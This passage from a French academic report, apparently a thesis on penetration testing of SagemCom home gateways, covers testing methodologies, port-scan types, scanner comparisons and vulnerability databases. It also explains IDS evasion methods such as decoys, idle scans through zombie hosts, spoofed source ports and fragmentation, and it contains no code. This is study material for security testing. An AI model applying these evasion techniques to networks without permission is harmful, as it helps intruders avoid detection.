
Black box testing : c’est une méthode permettant de réaliser des tests fonctionnels ou non

fonctionnel s ne faisant pas référence aux structures internes du système en question. On

suppose que le système est une sorte de boite noire sur laquelle on va essayer de dégager le

maximum possible d’informations en se basant sur les résultats fournis des tests dans la phase

de collecte d’informations. Ces tests simulent une attaque réalisée à partir de l’extérieur de

l’entreprise.

White box testing: Contrairement au « Black box testing», le « White box testing» est une

méthode de pentesting permettant de faire des tests sur un système dont on connait le

fonctionnement interne, l’architecture réseaux, l’emplacement des serveurs, les systèmes

d’exploitation utilisés, les langages de programmations des applications, les versions des

logiciels, etc. Les tests réalisés simulent des attaques à partir de l’intérieur en se basant sur

des informations récupérées par le vol de documents, etc.

Les deux méthodes de pentesting « Black & White » sont complémentaires et essentielles au

cours des testes de pénétrations. Les tests des boites blanches sont nécessaires pour déterminer des

failles et des vulnérabilités que les scanneurs des vulnérabilités automatiques ne peuvent pas

déterminer. L’inconvénient du « White Box testing » est que cette méthode est coûteuse en temps car

l'analyse manuelle est lente. De plus, si une erreur existe, il n’est pas aussi facile de déterminer son

exploitation [6].

2.3. Pentesting : Méthodologie et standard

Quand il s'agit de tests de pénétration, il n'y a pas une approche bien précise à suivre. Chaque

réseau diffère des autres, chaque système a ses propres spécifications et chaque entreprise a ses

propres objectifs de sécurité. Dans ce qui suit, nous allons présenter quelques standards et

méthodologies connus dans le monde de la sécurité informatique.

2.3.1. OSSTMM

La méthodologie « Open Source Security Testing Methodology Manual» (OSSTMM),

développée par « OpSec », décrit les démarches à suivre afin de réaliser un audit de sécurité complet

d’un système. [7]

L'OSSTMM est constituée de 5 sections distinctes: l'information et le contrôle de données, la

sensibilisation du personnel à la sécurité, le contrôle de fraudes et de l'ingénierie sociale, les réseaux

d'ordinateurs et les réseaux de télécommunications.

L'OSSTMM se focalise sur le choix des composantes à tester, sur les actions à effectuer avant,

pendant et après un test de sécurité et sur la manière de mesurer les résultats. De nouveaux tests


Page 16

relatifs aux meilleures pratiques internationales, aux lois et à la régularisation sont régulièrement

ajoutés et actualisés.

L’OSSTMM fournit une classification des périmètres à étudier comme suit

Classe sous classe Description

Sécurité physique (PHYSSEC)

Humain Des tests qui couvrent l'aspect humain de point de vue physique et psychologique.

Physique Des tests qui nécessitent un effort physique et un contact direct avec la cible (accès à la salle des serveurs par exemple).

Sécurité du spectre (SPECSEC)

Sans fil

Des tests liés à l'aspect sans fil du système qui couvrent aussi les communications électroniques (ELSEC), signaux (SIGSEC) et les communications non câblés (EMSEC).

Sécurité de la communication (COMSEC)

Télécommunication Des tests qui couvrent les aspects liés à toute communication câblée.

Réseaux Des tests qui couvrent les communications établies intra-système via le réseau câblé.

Tableau 2 Classification OSSTMM

2.3.2. OWASP

La méthodologie « Open Web Application Security Project » (OWASP) est une démarche à

suivre ainsi qu’un ensemble de tests et de recommandations pour analyser la sécurité des applications

web. Les tests d’OWASP sont catégorisés comme suit : [8]

Collecter les informations : Phase de collecte d’informations sur l’application à tester.

Tester les gestionnaires de configurations : cette phase couvre les gestionnaires de

configurations des bases de données, du site web, l’accès à distance (Telnet, SSH, etc)

Tester les modules d’authentification: tester l’authentification et la vérification d’identité

lors de l’accès à l’application web.

Tester les gestionnaires des sessions: tests sur les variables des sessions et cookies.

Tester les autorisations : Ces tests couvrent les droits d’accès sur les données pour les

différents acteurs de l’application.

Tester le logique métier: tester la démarche à suivre afin d’effectuer une tâche bien précise.

Tester la validation des données reçues: ces tests couvrent le contrôle sur les données reçues

de la part des clients avant de les utiliser.

Tester les attaques de type déni de service (DoS): tester la robustesse de l’application face à

des attaques de type DoS.

Tester les web services: tester les web services utilisés par l’application afin d’étudier les

risques possibles à partir d’eux.

Tester ajax: tester les fonctionnalités d’AJAX et les attaques qui peuvent les menacer.


Page 17

2.3.3. Autres standards et méthodologies:

« Penetration Testing Execution Standard » (PTES) fournit un ensemble de règles et de

recommandations afin d’établir des tests de pénétrations fiables et efficaces. PTES est structurée en

sept sections principales [9]:

Pré-engagement : Cette phase présente principalement les discussions entre le testeur et le

client afin d’éclaircir les buts des tests à effectuer et de lui donner une idée sur les grandes

lignes des tests de pénétrations.

Collecte d’information : Cette phase consiste à collecter les informations sur le système. Ces

informations incluent le comportement de système, les services, l’emplacement des machines,

le système de sécurité, etc.

Modélisation des menaces : Dans cette étape on utilise les informations collectées afin de

déterminer les risques et les vulnérabilités qui menacent le système. On détermine aussi les

méthodes d’attaque les plus efficaces et les informations qu’on peut les récupérer suite à ces

attaques. Il faut toujours déterminer des méthodes plus récentes et les failles « zero day2 ».

Pour récapituler, il faut penser comme un hacker.

Analyse des Vulnérabilités : Il faut déterminer la façon avec laquelle on peut accéder à la

cible. Afin de mieux remplir cette tâche, il faut combiner les informations acquises et les

attaques possibles.

Exploitation : C’est la phase la plus critique car il s’agit de l’exploitation des failles et les

vulnérabilités du système. Tous d’abord, il fait que le contrat signé entre le pentester et

l’entreprise gère les cas où un ou plusieurs tests provoque la mise hors service le système, total

ou partielle, pour éviter tous risque de poursuite judiciaire. Aussi, le pentester doit éviter les

exploits qui provoquent l’arrêt total ou quasi-total du système.

Post Exploitation : Cette étape consiste à revérifier les systèmes des communications avec

d’autres systèmes ou infrastructures.

Rapports : Le rapport des tests comporte :

o Qu’est ce qu’on a fait dans les tests.

o Comment on a fait ces tests.

o Comment on peut corriger les erreurs.

Conclusion

Au cours de ce chapitre, nous avons abordé les deux grands axes médiateurs de notre projet:

les terminaux résidentiels et les tests de pénétrations. Ainsi nous avons commencé par la présentation

2 Faille « Zero Day » :c’est une faille non reconnus des applications ou des services sur un système bien défini.


Page 18

des TRs, en particulier les TRs SagemCom, leurs fonctionnalités et les services qu’ils offrent. Ensuite

nous avons introduit le « Pentesting » et son importance dans le monde des TR.

Le troisième chapitre va joindre les deux axes et essayer de répondre à la question qui consiste

à mettre en œuvre le pentesting dans le cas d’une passerelle résidentielle. Ainsi nous allons détailler

chaque module offert par la passerelle : son fonctionnement et les différentes failles, vulnérabilités et

attaques possibles.

Chapitre 3 Etude de vulnérabilités des Terminaux Résidentiels

Page 19

Les TRs SagemCom offrent plusieurs services et fonctionnalités qui peuvent être classifiés en

modules que nous allons aborder dans ce chapitre, en mettant l’accent sur les vulnérabilités, les failles

et les attaques possibles ainsi que les outils nécessaires pour le déroulement d’un plan de test de

sécurité.

Nous pouvons d’ores et déjà classifier ces services ou modules comme suit :

Module réseau : cette section couvrira les risques liés aux services réseaux offerts par les TRs,

notamment dus au :

o Scan de ports, services et détections des OS.

o Scan des vulnérabilités réseaux et GUI.

o Attaques possibles sur les interfaces d’administration à distance et exploitation.

Module WIFI : dans cette section nous dégageons les différentes attaques et failles liées à la

connectivité sans fils et qui présentent un risque potentiel pour les TRs.

Module UPnP : dans cette section, nous introduisons le fonctionnement et l’implémentation de

l’UPnP dans les TRs SagemCom et les risques que présente cette technologie.


Page 20

Module VoIP : cette section sera consacrée aux risques et aux vulnérabilités liées à

l’implémentation de la téléphonie sur IP.

Tous les modules décrits ci-dessus seront accompagnés par une étude sur les différents outils

nécessaires pour tester leur sécurité. Ce chapitre sera finalement conclu par une étude comparative des

outils testés.

1. Module réseau

Cette partie va prendre la plus grande part de notre étude car elle comporte plusieurs axes à

traiter et elle représente le point d’entrée pour les autres modules. D’abord, nous abordons la phase de

collecte d’information, en mettant l’accent sur la partie du scan des ports, détections des services

tournant sur le TR ainsi que son OS. En second lieu, nous entamons le scan des vulnérabilités. Cette

partie va être devisée en deux sous parties : une consacrée aux scans automatiques des failles et des

vulnérabilités et l’autre consacrée aux scans manuels, soit avec des outils spécifiques ou avec des

exploits. Les recherches et les études réalisées dans cette partie se basent essentiellement sur les

résultats dégagés de la première partie, collecte d’information. Finalement, nous exposons les

différentes possibilités d’exploitations de ces failles et les outils correspondants.

1.1. Ports, services et OS

La première phase à aborder dans les tests de pénétration est la collecte d’informations. Cette

étape est très large dans le cas standard où les tests d’intrusion vont être appliqués sur un système

informatique complet (une architecture réseau, des serveurs, des routeurs, des commutateurs, des

zones DMZ, etc.). La collecte d’informations dans ce cas peut couvrir plusieurs vecteurs, allant de la

collecte d’informations publiques sur internet ou par des simples commandes comme « whois »,

passant par le « Google hack » jusqu'à le scan des ports et des services.

Dans notre cas les tests de pénétration vont être réalisés sur un seul dispositif, le terminal

résidentiel, donc plusieurs étapes et méthodes ne sont pas applicables. Le « Google hack » et la

commande « whois » ne fournissent aucune information utile puisque le TR est dédié à l’utilisation

domestique. La partie la plus importante est alors le scan des ports et des services.

L’importance de cette partie se concrétise dans le fait que les informations récupérées

présentent une base solide qu’un attaquant peut utiliser pour orienter ces attaques et éviter les tests

inutiles.


Page 21

1.1.1. Scan des ports

Le scan de port est une étape indispensable dans le pentesting. Son apport se présente dans le

fait qu’il fournit une description détaillée sur l’état des ports de la machine cible. Ce pseudo-rapport

nous donne une idée sur l’utilisation du port, affecté à un service bien défini ou une configuration

personnalisée par le système. Le scan de port est utilisé souvent par les pirates informatiques pour

tenter de trouver des vulnérabilités et des failles possibles sur la machine en question. On peut le

considérer comme tentative d’intrusion car il sert souvent à préparer des attaques possibles. Ce scan

nécessite des privilèges élevés pour pouvoir manipuler et créer des paquets de tests puisqu’il y a

plusieurs techniques possibles qui requièrent des modifications précises sur les différents champs des

paquets.

1.1.1.1. Types de scans des ports

Actuellement il existe plusieurs types de scan qui permettent de découvrir les ports et services

tournant sur ou derrière un équipement connecté au réseau internet. Etant donné que, dans la pile

TCP/IP, les deux protocoles les plus sollicités sont le TCP et l’UDP, nous allons donc nous intéresser

à ces deux familles de scan [10].

UDP Scan

Malgré que la plupart des services utilisent le protocole TCP dans leurs communications,

l’UDP est utilisé par plusieurs services importants comme le DNS, le SNMP ou le DHCP. Ce type de

scan consiste à envoyer un paquet UDP sans données (en-tête seulement) et l’état du port se base sur le

type du paquet reçu par la cible. Le scan UDP est généralement plus lent que le scan TCP.

TCP Scan

Connu aussi sous le nom de « TCP Connect », ce type est le plus simple des scans, il consiste

à établir une connexion avec la cible sur le port en question et à la fermer immédiatement. L’avantage

de ce type de scan est qu’il ne nécessite pas de privilèges spéciaux pour l’effectuer et utilise des

fonctions système (connect( ) sous Unix). En contre partie, l’inconvénient majeur de ce scan qui le

rend pratiquement inutilisable au moins depuis quelques années, c’est qu’il est bruyant et peut

facilement être détecté et l’adresse IP de l’attaquant va être logué par les systèmes de détections

d’intrusion.


Page 22

Figure 6 TCP Scan (sur un port ouvert)

SYN Scan

Ce type de scan est connu aussi sous le nom de « half-open scanning » car il n’établit jamais

une connexion TCP complète. C’est un autre type du TCP Scan où le scanneur de port dans ce cas

génère des paquets IP avec le fanion SYN activé. Si le port cible est ouvert alors il va répondre par un

paquet SYN-ACK et le scanneur à son tour envoie un paquet RST pour fermer la connexion avant que

le « handshake » soit achevé. Il peut être exécuté rapidement et scanner des milliers de ports par

seconde sur un réseau rapide et il est relativement discret et furtif.

Figure 7 SYN Scan (sur un port ouvert)

ACK Scan

Le but de ce scan n’est pas la détection de l’état du port (ouvert ou fermé) mais plutôt s’il est

filtré ou pas. Ceci est efficace pour tester l’existence d’un firewall ou de règles de sécurité. Le Le but

de ce scan n’est pas la détection de l’état du port (ouvert ou fermé) mais plutôt s’il est filtré ou pas.

Ceci est efficace pour tester l’existence d’un firewall ou de règles de sécurité. Le scanneur de port

dans ce cas envoie des paquets TCP avec le fanion ACK à 1.

Autres types de scan

Il y a des types de scan qui peuvent furtivement traverser certains pare-feux ou routeurs (State-

less). La plupart des IDS de nos jours sont configurés pour détecter ce type de scan. Ci-dessous, on

décrit le Fin Scan, TCP NULL Scan et X-mas Scan.


Page 23

Fin Scan n’active que le drapeau FIN utilisé si le scan SYN est détecté par le firewall.

Figure 8 Fin Scan (sur un port ouvert)

X-mas Scan active les trois drapeaux FIN, PSH et URG . La technique X-mas a été nommé en

souvenir de l’attaque de Kevin Mitnick sur le serveur de Tsutomu Shimomura le jour du noël

1994.3

Figure 9 XMAS Scan (sur un port ouvert)

TCP NULL Scan n’active aucun drapeau de l’entête (entête TCP vaut 0).

Figure 10 TCP Null Scan (sur un port ouvert)

1.1.1.2. Technique d’évasion

Les systèmes de sécurité actuels sont très sophistiqués et intelligents. Ils peuvent détecter

même le scan de port car ils le considèrent comme attaque [11].

FTP bounce : Cette technique consiste à utiliser un serveur FTP pour scanner un hôte distant

par rebond.

3 Le jour de noël 1994, Mitnick s'attaque à un expert en sécurité informatique et ancien hacker : le japonais

Tsutomu Shimomura.


Page 24

TCP decoy : Cette technique consiste à leurrer l'hôte scanné, en dissimulant le scan parmi des

scans fictifs d'hôtes.

Idle scan : Dans l'établissement standard d'une connexion (SYN – SYN/ACK – ACK), les

paquets transmis sont accompagnés d'un numéro d'identification appelé IPID. Ce dernier est

incrémenté régulièrement sur certains systèmes (en particulier Windows). La technique

consiste à exploiter cette faille afin de déterminer, en fonction de l'incrémentation de l'IPID,

l'état d'un port. La spécificité de cette attaque réside dans le fait que l'attaquant utilise un hôte

zombie afin de ne pas apparaître dans les fichiers journaux de l'hôte scanné.

Utilisation de ports source autorisés : afin d'augmenter les chances de légitimer le trafic

généré par les scans, il est possible de forger les paquets en spécifiant des ports source

légitimes pour le firewall (20/tcp, 21/tcp pour FTP, 80/tcp pour HTTP, etc.). Ainsi, le firewall

est susceptible de laisser passer le trafic dans la mesure où il pourra le considérer comme un

retour de connexion légitime. De la même manière, pour les scans UDP, un trafic en

provenance du port 53/udp pourra être interprété par le firewall comme une réponse DNS.

Figure 11 Utiliser un port source autorisé pendant le scan

Fréquence d'envoi des paquets : il est possible de rendre un scan plus furtif en espaçant

l'envoi des paquets à destination de la machine scannée.

Fragmentation des paquets : Les détecteurs d'intrusions modernes comme Snort sont

capables, par réassemblage des paquets, de détecter le scan. Il existe par ailleurs des outils

spécifiques (tels que FragRouter) permettant de fragmenter tout ce qui sort d'un réseau.

Scan ACK : certains firewalls interdisent les paquets qui n'ont pas le flag ACK actif afin de

limiter les tentatives d'intrusion.

Figure 12 Scan ACK

http://www.aldeid.com/wiki/Protocole:TCP#Etablissement_d.27une_connexion

http://www.aldeid.com/wiki/index.php?title=Port-tcp-20&action=edit&redlink=1


http://www.aldeid.com/wiki/index.php?title=Protocole:FTP&action=edit&redlink=1


http://www.aldeid.com/wiki/index.php?title=Protocole:HTTP&action=edit&redlink=1

http://www.aldeid.com/wiki/index.php?title=Port-udp-53&action=edit&redlink=1

http://www.aldeid.com/wiki/index.php?title=Protocole:DNS&action=edit&redlink=1

http://www.aldeid.com/wiki/Snort

http://www.aldeid.com/wiki/index.php?title=FragRouter&action=edit&redlink=1

http://www.aldeid.com/wiki/File:Scan-sport.png

http://www.aldeid.com/wiki/File:Ack-scan.png


Page 25

1.1.1.3. Analyse des résultats

Chaque type de scan utilise des types bien spécifiques de paquets et par conséquence les

réponses diffèrent aussi. Le scanneur de ports analyse les réponses et détermine l’état des ports en

fonction des types de paquets reçus. Ci-dessous un tableau explicatif qui décrit chaque résultat en

fonction des paquets envoyés.

Type de scan Réponse reçue Etat du port

SYN Scan

paquet SYN/ACK ouvert

paquet RST fermé

ICMP (type3 code 1, 2, 3, 9,10 ou 13) filtré

aucune réponse

TCP Scan "3 handshake" établi ouvert

"3 handshake" non établi fermé

UDP Scan

ICMP (type3 code 1, 2, 9,10 ou 13) filtré

ICMP (type 3, code 3) fermé

Paquet UDP ouvert

ACK Scan ICMP (type3 code 1, 2, 3, 9,10 ou 13) filtré

paquet RST non filtré

X-MAS/FIN/TCP

NULL Scan

paquet RST fermé

ICMP (type3 code 1, 2, 3, 9,10 ou 13) filtré

aucune réponse ouvert/filtré Tableau 3 Etat du port par type du scan et réponse

Le problème qui se pose maintenant, est que tous les systèmes ne respectent pas la RFC 7934 à la

lettre. Plusieurs systèmes renvoient des RST en réponse aux paquets reçus et ce quelque soit l'état du

port de destination, qu'il soit ouvert ou pas [12].

1.1.2. Scan des services

Le scan de services suit le scan de port et son importance se présente dans le fait qu’il sert à

détecter en premier lieu les noms des services tournant sur la machine cible et au-delà, il aide à

dégager beaucoup d’informations comme la version et le nom d’application (ISC Bind, Appache

httpd, Solaris telnetd, OpenRG telnetd, …). Ces informations seront très utiles pour le pentester, ainsi

que le hacker, pour déterminer si le système testé implémente des services vulnérables ou des versions

connues par leurs vulnérabilités et failles exploitables [13].

Le scan de services est basé sur le résultat de scan de port. Selon le numéro du port ouvert

détecté le scanneur traite et analyse les résultats.

Si le port détecté ouvert est un port standard, comme les ports 25/tcp, 80/tcp et 53/udp, le

scanneur n’aura pas besoin de lancer d’autre requête sur le même port pour déterminer le nom

4 RFC 793 : Spécification du protocole TCP, mise en place par DARP (Defense Advanced Research Projects

Agency)


Page 26

des services, il utilise une base de données pour faire la correspondance. La plupart des

scanneurs ne se limitent pas à cette étape mais ils essayent de déterminer le type de service

(ex : jboss, tomcat, …). Cela est possibles en analysant les réponses reçues (ex : si le port 80

est ouvert donc il s’agit d’un serveur web (HTTP), ensuite le scanneur envoie une requête

« GET / » pour collecter plus d’information).

Dans l’autre cas, où le port n’est pas standard (ex : 9003), le scanneur lance une série de test

pour déterminer les types de protocoles utilisés (ex.: ftp, ssh, telnet, http). Une fois le

protocole est fixé, le scanneur lance d’autres requêtes afin de connaître le nom de l'application

(ex: ISC Bind, Appache httpd, Solaris telnetd), le numéro de version, etc.

1.1.3. Détection d’OS

L’utilité de la détection d’OS, ou « OS fingerprinting », est assez évidente, car il existe

plusieurs failles de sécurité qui dépendent principalement du type de l’OS et sa version. Chaque faille

peut être exploités différemment d’un OS à un autre et généralement les exploits visent quelques

fichiers système et manipulent des comportements particuliers pour chaque OS. [14]

Parmi les techniques connues dans la détection de l’OS, nous citons la technique « TCP/IP

Fingerprinting ». Cette méthode consiste à envoyer jusqu'à 16 paquets TCP, UDP et ICMP aux ports

ouverts de la cible. Chaque paquet est envoyé au moins une fois si le port est fermé. Le scanneur

manipule tous les champs du paquet et les envoie dans un ordre spécial. Les résultats reçus

contiennent plusieurs attributs qui seront soigneusement analysés et traités, et en combinant plusieurs

résultats des différents types de paquets, le scanneur génère le fingerprint de ‘lOS.

Il arrive parfois que le scanneur ne parvient pas à collecter les informations nécessaires pour

déterminer l’OS de la cible à cause du manque de ports ouverts ou la mauvaise mise en place du

standard du protocole RFCs. Dans ce cas, certain scanneur génèrent une liste des OS possibles avec un

pourcentage d’approximation.

1.1.4. Outils de scan des ports

Il existe plusieurs outils de scan sur le marché. Il existe le libre, le gratuit, le payant, etc.

Chacun d’eux a ces propres spécifications et fonctionnalités. Dans notre cas, qui est un peu spécial, les

scans seront effectués sur un TR qui va surement provoquer des erreurs et des faux positifs pendant le

scan.

Critère de choix

Dans notre étude de comparaison entre les différentes solutions de scan, nous jouons sur les

critères de choix suivants:


Page 27

Réalisation des tous les types des scans listés ci-dessus.

Réalisation des scans de services.

Réalisation de la détection de l’OS.

License

Utilisations

Outils proposés

Nmap : C’est l’outil le plus connu comme scanneur de ports muni d’une base de données

énorme contenant plus que de 2700 signature d’OS et 7300 versions de services. Il présente un

outil très efficace pour le scan des ports. Il offre la possibilité d’utiliser et de créer des scripts

personnalisés.

Unicornscan : C’est un scanneur de port connu. Iil assure aussi le scan des services mais il se

limite au nom du protocole sans donner des informations supplémentaires sur les services

détectés.

Scanrand : C’est un scanneur du port simple sans détection d’OS ou des services.

Hping3 : C’est un forgeur de paquet conçu principalement pour les tests de sécurité des

firewalls et des systèmes. Il peut être utilisé comme un scanneur de port car il offre la

possibilité de manipuler les champs d’un paquet à envoyer (TCP/UDP/IP/ICMP). Son

utilisation est dédiée pour les utilisateurs avancés.

Type des scans type de

License utilisation plateforme

SYN Scan

TCP Scan

UDP Scan

ACK Scan

XMAS/FIN/ TCP

NULL Scan

Scan des services

Détection de l'OS

NMAP X X X X X X X gratuit Simple Linux/Windows

Unicornscan X X X X X X gratuit Simple Linux

Scanrand X X X X X gratuit Moyen Linux

hping3 X X X X X gratuit Difficile Linux/Windows Tableau 4 Tableau comparatif des outils de scan

1.2. Scan des vulnérabilités

Le scan de vulnérabilité est une étape indispensable dans les tests de pénétration. En se basant

sur les résultats des scans réalisés dans l’étape précédente, ports ouverts, nom du service, version, type

de l’OS et sa version, etc, le pentester doit dégager les risques et les failles qui peuvent présenter un

danger pour le système testé. Des bases de données énormes des vulnérabilités sont mises à disposition

des testeurs où chaque faille est décrite en détail avec la date de publication, la description détaillé, la

plateforme utilisée, la solution envisageable, l’exploit s’il existe et les références de la faille sur les

autres sites de vulnérabilités. Parmi ces sites nous trouvons :


Page 28

OSVDB : Open Source Vulnerability Data Base est une base de données de vulnérabilités

developpée et mise en place par et pour la communité. Son but est la mise en place d’une

plateforme solide, riche en information et extensible pour toute information liée à la sécurité

informatique (vulnérabilité et faille).

NVD de NIST : National Vulnerability Database, elle est mise en place et maintenue par la

National Institue of Standards and Technology.

CVE : Common Vulnerability and Exposures, elle est mise en place et maintenue par MITRE

organisation sans but lucratif qui s’intéresse au intérêt publique.

US-CERT Vulnerability Notes Database : c’est une base de données d’informations liées

aux vulnérabilités créé par le US-CERT (United State - Community Emergency Response

Teams)

1.2.1. Types de scan des vulnérabilités

Si le testeur ne veut pas utiliser les sites cités auparavant ou il n’arrive pas à trouver des

vulnérabilités connues sur le système testé comme pour notre cas terminal résidentiel avec un système

bien spécifique alors il existe plusieurs autres techniques et méthodes à utiliser qu’on peut classifier

sous deux procédures génériques:

Evaluation manuelle des vulnérabilités : Dans ce cas le pentester a recourt à développer ses

propres cas de test et exploitations. Le cas le plus courant est celui des applications web car

chaque application web est personnalisée selon les besoins des utilisateurs et la technologie

utilisée.

Evaluation automatique des vulnérabilités : Dans ce cas le pentester utilise des scanneurs

de vulnérabilités automatiques. Cette méthode est très avantageuse par rapport à la première

méthode notamment car elle nous fait gagner énormément de temps. Les scanneurs

automatiques de vulnérabilités couvrent toutes les failles connues (selon la version de

scanneur, la mise à jour, etc.).

Dans notre cas, les technologies utilisées dans la conception et la mise en place des services et

des applications implémentées dans le TR sont, plus ou moins, spécifiques aux besoins des TRs

SagemCom. Il est clair que nous allons rencontrer certains problèmes avec les scanneurs des

vulnérabilités car ils sont principalement dédiés pour des systèmes qui utilisent des technologies

largement utilisés et déployés.

Les scans manuels sont donc une étape à ne pas négliger, comme il est indique ci-dessus les

outils de scan peuvent générer des faux positifs ou carrément ne pas trouver de failles, et ceci car le

système testé est un peu particulier ou utilise des technologies non connues, voir propriétaires.


Page 29

1.2.2. Outils de scan des vulnérabilités

Dans cette section, on va présenter les différents types des scanneurs de vulnérabilités ainsi

que leur fonctionnement. Généralement ces outils peuvent être classés sous deux catégories.

Scanneur de vulnérabilités générales qui couvre plusieurs axes : vulnérabilité réseaux,

vulnérabilité liés au système d’exploitation, vulnérabilité liés aux services, etc.

Scanneurs de vulnérabilité pour un type bien spécifique de services ou d’applications. Sous

cette catégorie on trouve principalement les scanneurs des vulnérabilités des applications

WEB et en second lieu ceux des bases de données.

Dans le cas des TRs SagemCom, on a besoins que des scanneurs de vulnérabilités générales et ceux

des applications WEB.

1.2.2.1. Scanneur de vulnérabilités automatique

Il existe plusieurs solutions système sous cette catégorie, on va s’intéresser à Nessus, Nexpose,

OpenVAS, GFI Lan GUARD et QualysGuard :

Nessus : Scanneur de vulnérabilités proposé par « Teenable », conçu pour être utilisé sur

plusieurs plateforme, il peut être installé sur un serveur à part et y accéder à partir de

n’importe quelle machine sur le réseau. Il existe deux versions version payante et

communautaire, la différence se concrétise dans les fonctionnalités et les services du support

technique. Il se base sur les « Policies ». Ces derniers se composent de plusieurs options de

configurations relatives au type de scan à réaliser tel que le type de scan de ports, les plugins à

utiliser, les paramètres d’authentification pour les bases de données, site web, etc. Par défaut,

Nessus offre quatre « Policies » :

o External Network Scan : Scan sur des machines à l’extérieur du LAN qui présentent

généralement moins de services pour les réseaux.

o Internal Network Scan : Scan sur des machines du LAN, ce scan est plus large que le

premier car il couvre plus de services.

o Web App Tests : Scan sur les failles et vulnérabilités Web.

o Prepare for DCI PSS audits : aide à se préparer pour un audit PCI DSS.5

Nexpose : outil proposé par « Rapid7 », qui, comme « Nessus », offre deux versions, payantes

et communautaire, cette dernière est très limitée de point de vue fonctionnalités. Nexpose

nécessite un PC performant avec une configuration minimale présentant les caractéristiques

suivantes :

o 2 GHz processeur.

5 The Payment Card Industry Data Security Standard (PCI DSS) est une norme de protection des données pour

les organismes qui traitent la sécurité des informations de titulaire de carte pour le débit, le crédit, payé d'avance,

l'e-bourse, etc [33].


Page 30

o 2 GB (32 bits), 4 GB RAM (64 bits).

o 10 GB + d’espace vide sur le disque.

o 100 Mbps pour la carte réseau.

OpenVas : OpenVAS « Open Vulnerability Assesement System » représente un système

d'évaluation de vulnérabilité open source et rassemble une gamme d’outils complète pour

scanner la sécurité du réseau. Le noyau « OpenVAS » est un composant de serveur qui assure

un ensemble de vulnérabilités « Network Vulnerability Tests » (NVTs) pour détecter les

problèmes de sécurité dans les systèmes distants et les applications.

GFI Lan GUARD : outil payant de « GFI », pour les systèmes Windows, il est connu pour sa

simplicité d’utilisation.

Qualys Guard: solution payante de « Qualys », sa particularité est quelle offre ses services

scan via le « Cloud Computing 6» sous forme de « SaaS

7». L’avantage majeur de cette

solution est quelle ne nécessite aucune installation et par conséquence l’administrateur ou le

responsable de la sécurité se concentre seulement sur les tests des pénétrations sans prendre en

compte la configuration et la mise en place dans le réseau local. Tous les traitements se font

chez les serveurs du fournisseur de services.

Ci dessous un tableau comparatif entre les outils décrits auparavant, en se basant sur les critères de

choix suivants:

Temps d’exécution.

License.

Plateforme.

Extensibilité.

Utilisation.

6 Cloud Computing : un concept qui consiste à déporter sur des serveurs distants des traitements informatiques traditionnellement localisés sur des serveurs locaux ou sur le poste client de l'utilisateur. 7 SaaS : Software as a Service, le client utilise des applications offertes par le fournisseur du système Cloud,

certaine application peuvent être personnalisée par le client, on trouve par exemple Gmail, Google Documents,

Google Maps…


Page 31

Temps d'exécution type de License plateforme Extensibilité* Utilisation**

Nessus proportionnellement aux tests

***

payant/communité Windows/linux Oui difficile

Nexpose 5 minutes **** payant/communité Windows/linux Non moyen

OpenVas proportionnellement aux tests

***

gratuit linux Oui difficile

GFI LanGUARD

proportionnellement aux tests ***

payant Windows Non facile

QualysGuard plus ou moins long (scan à distance)

payant tous (SaaS) Non difficile

*: quelques outils listés peuvent être extensibles par l’intégration d’autre outils ou l’utilisation de plugins. **

: l’utilisation est jugée de point de vue configuration et mise en place. ***

: les temps de scan peuvent varier de quelques minutes jusqu’à quelque heures selon la configuration utilisée. ****

: les scans proposés par la version communautaire du « Nexpose » ne dépassent pas les 5 minutes, ceci est dû à la limitation des fonctionnalités et des types de tests.

Tableau 5 Tableau comparatif des scanneurs des vulnérabilités automatiques

1.2.2.2. Scanneur de vulnérabilités WEB

Vu que la plupart des services et applications convergent vers la technologie web, pour les

avantages qu’elle offre en termes de cout et de performance. Cette migration, malgré ses avantages,

portes aussi des inconvénients qui ont fait que le nombre de failles et de vulnérabilités à fortement

augmenté. Pour y remédier et du moins les détecter, il existe une gamme d’outils spécialisés dans les

scans des vulnérabilités web. Dans le cas des TRs SagemCom, les utilisateurs peuvent l’administrer à

travers son interface web (ou GUI). Les TRs vu leurs limitations de point vu ressources (RAM, CPU,

espace,…) ne peuvent pas implémenter des technologies web connue pour les grands serveurs, ou à la

limite les utiliser dans quelques fonctionnalités. La plus part des outils disponibles sur le marché, sont

dédiés pour des applications web utilisant des technologies connue (PHP, ASP, JSP,…) ou des CMS

(JOOMLA, DRUPAL, WordPress,…), ceci est explicable car ils sont souvent utilisés. [15]

Les critères de choix d’un scanneur de vulnérabilités sont nombreux, une étude comparatif à

été effectué par l’université de Californie sur des différents scanneurs afin de dégager les meilleurs.

Tableau 6 Liste des outils et leur type de licence


Page 32

Ci-dessous un graphe qui présente le pourcentage des faux négatifs par rapport au résultat corrects

selon le type de configuration; certains outils sont paramétrables et d’autre non.

Figure 13 Evaluation des resultats

Le temps d’exécution de scan est un critère très important de comparaison. Certains outils contiennent

beaucoup plus que des fonctionnalités et des tests qui vont influencer par suite la durée d’exécutions.

Figure 14 Temps d'exécutions du scan

Les tests réalisés sur les TRs SagemCom, pour le scan des vulnérabilités web, ont prouvé que

pour un système bien particulier, comme dans notre cas, on ne peut pas se limiter à l’utilisation d’un

seul outil car chacun d’eux peut dégager des informations utiles que les autres ne trouvent forcément

pas. Une autre remarque est que quelques outils classés parmi les meilleurs n’arrivent même pas à

générer des résultats logiques et raisonnables sans parler de liens inexistant. Ces trois outils sont les

plus appropriés pour notre cas, Nikto, SkipFish et un proxy web (ZAP de OWASP). ZAP est un proxy

web qui sert à intercepter les requêtes http et peut faire des modifications sur leurs paramètres. Dans le

cas d’authentification dans un site web, il est indispensable d’utiliser un proxy pour tester tous le

contenu du site.


Page 33

1.3. Exploits et autres types d’attaques

1.3.1. Exploits

C’est la dernière étape de la partie réseaux. Après toutes les étapes réalisées : scan des ports et

services, détection de l’OS et scan des vulnérabilités, il faut bien les mettre en valeur et les utiliser afin

de vérifier qu’ils s’agissent de vraie failles et défaillances ou juste des alertes de type faux négatifs. Il

existe plusieurs méthodes possibles pour vérifier ce point et rédiger un rapport solide et complet qui

contient une description réelle des vulnérabilités.

Le testeur dans cette étape a le choix entre utiliser des exploits publics disponibles sur les sites

des exploits ou rédiger ces propres exploits ou encore utiliser un outil de pénétrations comme le

fameux « MetaSploit ». Les sites des exploits :

Security Focus : Chaque vulnérabilité et accompagnée par les différents exploits possibles.

Exploit database : archive des exploits des applications et des systèmes. Ces derniers sont

classés sous plusieurs catégories.

La distribution « BackTrack 5 » offre un outil de recherche dans la base de données d’exploits.

Un petit script développer permet de faire la mise à jour des exploits. (Voir annexe 2)

Metasploit était un projet open-source sur la sécurité informatique qui fournit des

